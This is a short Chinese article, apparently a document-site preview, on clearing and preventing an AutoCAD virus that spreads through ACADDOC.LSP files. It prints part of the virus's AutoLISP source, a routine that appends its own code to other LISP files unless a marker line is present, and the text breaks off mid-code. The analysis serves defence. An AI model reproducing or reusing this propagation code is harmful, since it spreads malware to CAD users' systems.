一种CAD病毒清除与防范措施.docVIP

一种CAD病毒的清除与防范措施 雪山飞猪 QQ534455 近来又出现一种AutoCAD病毒，该病毒与以往CAD病毒不同。干净的CAD系统当打开DWG图时，如果该图所在目录下有ACADDOC.LSP文件（基本为病毒传播文件），ACADDOC.LSP就会运行。 病毒的特征与传播方式 我们先看看病毒代码，代码如下： (setq flagx t) (setq bz (setq flagx t)) (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r)) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r)) (setq wjm1 (open target a)) (write-line (chr 13